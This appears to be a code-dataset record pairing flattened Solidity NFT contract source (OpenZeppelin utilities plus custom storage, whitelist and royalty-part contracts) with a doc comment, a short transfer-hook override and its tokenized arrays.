this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT /* * KasbeerStorage.sol * * Author: Jack Kasbeer * Created: August 21, 2021 */ pragma solidity >=0.5.16 <0.9.0; import "@openzeppelin/contracts/utils/Counters.sol"; //@title A storage contract for relevant data //@author Jack Kasbeer (@jcksber, @satoshigoat) contract KasbeerStorage { //@dev These take care of token id incrementing using Counters for Counters.Counter; Counters.Counter internal _tokenIds; uint256 constant public royaltyFeeBps = 1500; // 15% bytes4 internal constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; bytes4 internal constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 internal constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; bytes4 internal constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; bytes4 internal constant _INTERFACE_ID_EIP2981 = 0x2a55205a; bytes4 internal constant _INTERFACE_ID_ROYALTIES = 0xcad96cca; //@dev Important numbers uint constant NUM_ASSETS = 8; uint constant MAX_NUM_TOKENS = 888; uint constant TOKEN_WEI_PRICE = 88800000000000000;//0.0888 ETH //@dev Properties string internal contractUri; address public payoutAddress; //@dev Initial production hashes //Our list of IPFS hashes for each of the "Nomad" 8 Plugs (varying juice levels) string [NUM_ASSETS] normHashes = ["QmZzB15bPgTqyHzULMFK1jNdbbDGVGCX4PJNbyGGMqLCjL", "QmeXZGeywxRRDK5mSBHNVnUzGv7Kv2ATfLHydPfT5LpbZr", "QmYTf2HE8XycQD9uXshiVtXqNedS83WycJvS2SpWAPfx5b", "QmYXjEkeio2nbMqy3DA7z2LwYFDyq1itbzdujGSoCsFwpN", "QmWmvRqpT59QU9rDT28fiKgK6g8vUjRD2TSSeeBPr9aBNm", "QmWtMb73QgSgkL7mY8PQEt6tgufMovXWF8ecurp2RD7X6R", "Qmbd4uEwtPBfw1XASkgPijqhZDL2nZcRwPbueYaETuAfGt", "QmayAeQafrWUHV3xb8DnXTGLn97xnh7X2Z957Ss9AtfkAD"]; //Our list of IPFS hashes for each of the "Chicago" 8 Plugs (varying juice levels) string [NUM_ASSETS] chiHashes = ["QmNsSUji2wX4E8xmv8vynmSUCACPdCh7NznVSGMQ3hwLC3", "QmYPq4zFLyREaZsPwZzXB3w94JVYdgFHGgRAuM6CK6PMes", "QmbrATHXTkiyNijkfQcEMGT7ujpunsoLNTaupMYW922jp3", "QmWaj5VHcBXgAQnct88tbthVmv1ecX7ft2aGGqMAt4N52p", "QmTyFgbJXX2vUCZSjraKubXfE4NVr4nVrKtg3GK4ysscDX", "QmQxQoAe47CUXtGY9NTA6dRgTJuDtM4HDqz9kW2UK1VHtU", "QmaXYexRBrbr6Uv89cGyWXWCbyaoQDhy3hHJuktSTWFXtJ", "QmeSQdMYLECcSfCSkMenPYuNL2v42YQEEA4HJiP36Zn7Z6"]; //Our list of IPFS hashes for each of the "Chicago" 8 Plugs (varying juice levels) string [NUM_ASSETS] stlHashes = ["QmcB5AqhpNA8o5RT3VTeDsqNBn6VGEaXzeTKuomakTNueM", "QmcjP9d54RcmPXgGt6XxNavr7dtQDAhAnatKjJ5a1Bqbmc", "QmV3uFvGgGQdN4Ub81LWVnp3qjwMpKDvVwQmBzBNzAjWxB", "Qmc3fWuQTxAgsBYK2g4z5VrK47nvfCrWHFNa5zA8DDoUbs", "QmWRPStH4RRMrFzAJcTs2znP7hbVctbLHPUvEn9vXWSTfk", "QmVobnLvtSvgrWssFyWAPCUQFvKsonRMYMYRQPsPSaQHTK", "QmQvGuuRgKxqTcAA7xhGdZ5u2EzDKvWGYb1dMXz2ECwyZi", "QmdurJn1GYVz1DcNgqbMTqnCKKFxpjsFuhoS7bnfBp2YGk"]; } // SPDX-License-Identifier: MIT /* * KasbeerAccessControl.sol * * Author: Jack Kasbeer * Created: October 14, 2021 * * This is an extension of `Ownable` to allow a larger set of addresses to have * certain control in the inheriting contracts. */ pragma solidity >=0.5.16 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; contract KasbeerAccessControl is Ownable { // ----- // SQUAD // ----- //@dev Ownership - list of squad members (owners) mapping (address => bool) internal _squad; //@dev Custom "approved" modifier because I don't like that language modifier isSquad() { require(isInSquad(msg.sender), "KasbeerAccessControl: Caller not part of squad."); _; } //@dev Determine if address `a` is an approved owner function isInSquad(address a) public view returns (bool) { return _squad[a]; } //@dev Add `a` to the squad function addToSquad(address a) onlyOwner public { require(!isInSquad(a), "KasbeerAccessControl: Address already in squad."); _squad[a] = true; } //@dev Remove `a` from the squad function removeFromSquad(address a) onlyOwner public { require(isInSquad(a), "KasbeerAccessControl: Address already not in squad."); _squad[a] = false; } // --------- // WHITELIST // --------- //@dev Whitelist mapping for client addresses mapping (address => bool) internal _whitelist; //@dev Whitelist flag for active/inactive states bool whitelistActive; //@dev Determine if someone is in the whitelsit modifier onlyWhitelist(address a) { require(isInWhitelist(a)); _; } //@dev Prevent non-whitelist minting functions from being used // if `whitelistActive` == 1 modifier whitelistDisabled() { require(whitelistActive == false, "KasbeerAccessControl: whitelist still active"); _; } //@dev Require that the whitelist is currently enabled modifier whitelistEnabled() { require(whitelistActive == true, "KasbeerAccessControl: whitelist not active"); _; } //@dev Turn the whitelist on function activateWhitelist() isSquad whitelistDisabled public { whitelistActive = true; } //@dev Turn the whitelist off function deactivateWhitelist() isSquad whitelistEnabled public { whitelistActive = false; } //@dev Prove that one of our whitelist address owners has been approved function isInWhitelist(address a) public view returns (bool) { return _whitelist[a]; } //@dev Add a single address to whitelist function addToWhitelist(address a) isSquad public { require(!isInWhitelist(a), "KasbeerAccessControl: already whitelisted"); //here we care if address already whitelisted to save on gas fees _whitelist[a] = true; } //@dev Remove a single address from the whitelist function removeFromWhitelist(address a) isSquad public { require(isInWhitelist(a), "KasbeerAccessControl: not in whitelist"); _whitelist[a] = false; } //@dev Add a list of addresses to the whitelist function bulkAddToWhitelist(address[] memory addys) isSquad public { require(addys.length > 1, "KasbeerAccessControl: use `addToWhitelist` instead"); uint8 i; for (i = 0; i < addys.length; i++) { if (!_whitelist[addys[i]]) { _whitelist[addys[i]] = true; } } } } // SPDX-License-Identifier: MIT /* * LibPart.sol * * Author: Jack Kasbeer (token from 'dot') * Created: October 20, 2021 */ pragma solidity >=0.5.16 <0.9.0; //@dev We need this libary for Rarible library LibPart { bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)"); struct Part { address payable account; uint96 value; } function hash(Part memory part) internal pure returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, part.account, part.value)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
@dev This is here as a reminder to override for custom transfer functionality
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); }
12,631,015
[ 1, 2503, 353, 2674, 487, 279, 849, 14055, 358, 3849, 364, 1679, 7412, 14176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 389, 5771, 1345, 5912, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 1147, 548, 13, 7010, 202, 202, 7236, 5024, 3849, 7010, 202, 95, 7010, 202, 202, 9565, 6315, 5771, 1345, 5912, 12, 2080, 16, 358, 16, 1147, 548, 1769, 7010, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]